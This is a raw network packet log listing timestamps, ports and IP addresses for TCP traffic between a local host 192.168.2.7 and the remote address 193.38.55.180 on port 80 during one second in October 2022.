Oct 3, 2022 17:35:24.099294901 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099303961 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099319935 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099332094 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099344969 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099354982 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099371910 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099386930 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099396944 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099414110 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099421024 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099436998 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099446058 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099457979 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099472046 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099484921 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099498034 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099509001 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099524021 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099535942 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099548101 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099559069 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099574089 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099590063 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099598885 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099611998 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099623919 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099636078 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099649906 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099659920 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099673986 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099685907 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099699974 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099714041 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099726915 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099736929 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099750996 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099761009 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099776030 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099786997 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099801064 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099812984 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099824905 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099848986 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099865913 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099872112 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099894047 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099895000 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099917889 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099920034 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099932909 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099941969 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099950075 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099966049 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099980116 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099989891 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.100001097 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.100013018 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.100027084 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.100033998 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.100049019 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.100060940 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.100070000 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.100089073 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.100097895 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.100117922 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.100127935 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.100147009 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.100156069 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.100188017 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.100545883 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.100572109 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.100598097 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.100600004 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.100624084 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.100625038 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.100632906 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.100650072 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.100660086 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.100676060 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.100684881 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.100701094 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.100712061 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.100728989 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.100738049 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.100754976 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.100764036 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.100780964 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.100790977 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.100805998 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.100816011 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.100831985 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.100841999 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.100857019 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.100869894 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.100883007 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.100895882 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.100908041 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.100919962 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.100934029 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.100943089 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.100960016 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.100976944 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.100986004 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101001024 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101011992 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101023912 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101037979 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101047993 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101063013 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101073980 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101089001 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101098061 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101114988 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101125002 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101140022 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101150990 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101166010 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101175070 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101191044 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101202011 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101216078 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101226091 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101242065 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101250887 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101267099 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101277113 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101290941 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101301908 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101315022 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101326942 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101340055 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101350069 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101385117 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101387024 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101413012 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101425886 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101437092 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101449013 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101461887 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101473093 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101485968 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101496935 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101511002 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101521969 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101536036 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101546049 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101561069 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101571083 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101584911 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101596117 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101609945 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101620913 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101634979 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101645947 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101660967 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101671934 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101686954 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101697922 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101711988 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101722956 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101737976 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101747990 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101762056 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101773024 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101788044 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101804018 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101814985 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101828098 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101841927 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101852894 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101866961 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101878881 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101891994 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101903915 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101918936 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101928949 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101944923 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101955891 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101970911 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.101980925 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.101996899 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102005005 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102020979 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102027893 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102046967 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102055073 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102072954 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102081060 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102099895 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102106094 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102124929 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102133989 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102149963 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102159977 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102174997 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102183104 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102201939 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102210045 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102227926 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102235079 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102252960 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102262020 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102277040 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102287054 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102302074 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102309942 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102327108 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102334976 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102358103 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102368116 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102385044 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102391958 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102408886 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102418900 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102433920 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102442026 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102458954 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102467060 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102484941 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102499962 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102510929 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102515936 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102536917 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102546930 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102561951 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102571011 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102586985 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102596045 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102613926 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102629900 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102642059 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102653980 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102669954 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102673054 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102695942 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102705956 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102722883 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102730989 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102750063 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102758884 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102777004 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102786064 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102803946 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102819920 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102832079 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102838039 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102858067 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102865934 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102894068 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102900982 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102927923 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102938890 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102955103 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102961063 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.102979898 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.102988958 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.103007078 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.103013992 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.103033066 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.103040934 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.103060961 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.103069067 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.103085995 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.103095055 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.103112936 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.103125095 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.103138924 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.103147984 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.103163958 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.103173971 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.103189945 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.103199005 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.103216887 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.103224993 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.103243113 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.103251934 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.103271008 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.103276968 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.103296995 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.103305101 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.103322983 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.103332996 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.103349924 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.103357077 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.103377104 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.103384018 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.103403091 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.103411913 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.103430033 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.103437901 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.103455067 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.103463888 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.103481054 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.103491068 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.103507042 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.103517056 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.103533030 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.103542089 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.103559017 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.103568077 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.103584051 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.103594065 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.103617907 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.126733065 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.126781940 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.126811028 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.126816034 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.126837015 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.126841068 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.126847982 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.126862049 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.126873970 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.126899004 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.126899004 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.126924038 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.126939058 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.126946926 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.126962900 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.126977921 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.127908945 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.127949953 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.127969027 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.127989054 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.128784895 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.128813028 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.128829956 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.128839970 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.128864050 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.128865004 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.128879070 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.128890991 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.128901958 CEST	49703	80	192.168.2.7	193.38.55.180
